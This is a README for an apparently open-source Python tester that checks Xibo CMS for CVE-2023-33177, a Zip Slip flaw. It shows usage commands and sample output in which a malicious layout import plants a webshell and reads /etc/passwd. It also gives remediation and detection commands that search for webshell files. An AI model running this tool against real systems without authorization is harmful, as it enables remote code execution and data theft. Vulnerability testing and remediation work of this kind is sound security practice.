## Clone the repository
git clone [email protected]/kaxm23/-CVE-2023-33177-.git
cd xibo-cve-2023-33177-tester

## Install requirements
pip install -r requirements.txt## -CVE-2023-33177-

python test_cve_2023_33177.py <URL> <username> <password>

## Local development instance
python test_cve_2023_33177.py http://localhost/xibo admin password123

## Remote production with HTTPS
python test_cve_2023_33177.py https://xibo.example.com [email protected] SecurePass2024!

## Custom port and path
python test_cve_2023_33177.py http://192.168.1.100:8080/xibo admin mypassword

## Without trailing slash (script handles it)
python test_cve_2023_33177.py https://example.com/xibo admin pass

[*] Testing Xibo CMS at http://localhost/xibo
[*] CVE-2023-33177 - Zip Slip RCE Test

[+] Created test payload: test_vuln_1703123456.zip
[+] Successfully logged in as admin
[*] Attempting to import malicious layout...
[*] Import response: HTTP 200
[*] Checking for webshell...
[!] VULNERABLE! Webshell accessible at: http://localhost/security_test.php
[+] Successfully read /etc/passwd
[*] Output preview: VULN_TEST_root:x:0:0:root:/root:/bin/bash...

[!] Website IS VULNERABLE to CVE-2023-33177!
[!] Remediation: Update Xibo CMS to version 3.3.5+ or 2.3.17+
[!] Delete the test file: security_test.php

[*] Testing Xibo CMS at http://localhost/xibo
[*] CVE-2023-33177 - Zip Slip RCE Test

[+] Created test payload: test_vuln_1703123456.zip
[+] Successfully logged in as admin
[*] Attempting to import malicious layout...
[*] Import response: HTTP 200
[*] Checking for webshell...
[-] Webshell not found (HTTP 404)

[+] Website appears NOT vulnerable (or path differs)

## Download latest version
wget https://github.com/xibosignage/xibo-cms/releases/latest

## Follow upgrade instructions
## https://xibo.org.uk/manual/en/upgrade.html

## Find recently modified PHP files in web root
find /var/www/html -name "*.php" -mtime -7 -type f

## Check for suspicious files
find /var/www/html -name "shell.php" -o -name "cmd.php" -o -name "backdoor.php"

## Review access logs for unauthorized imports
grep "layout/import" /var/log/apache2/access.log

Change all CMS user passwords

Rotate API keys and tokens

Review and remove unauthorized user accounts

`
📋 Requirements
Python 3.6 or higher

requests library (install via pip)

Valid Xibo CMS credentials (authentication required)

Network access to target Xibo instance

Fork the repository

Create a feature branch: git checkout -b feature/amazing-feature

Commit changes: git commit -m 'Add amazing feature'

Push to branch: git push origin feature/amazing-feature

Open a Pull Request

Contribution Requirements
Code must follow PEP 8 standards

Testing must remain non-destructive

Documentation must be updated

No live testing against unauthorized targets

This project is licensed under the MIT License - see the LICENSE file for details.

⚖️ Legal & Ethical Use
By using this tool, you agree to:

Only test systems you own or have explicit written permission to test

Comply with all local, state, and federal laws

Not use this tool for malicious purposes

Report vulnerabilities responsibly to vendors

Accept full responsibility for your actions

CVE-2023-33177 NVD Entry

Xibo Security Advisories

Zip Slip Vulnerability Details

OWASP Path Traversal Guide

Issues: GitHub Issues

Security Reports: Please disclose responsibly via GitHub private vulnerability reporting

Questions: Open a discussion on GitHub

If this tool helped you, please consider starring the repository!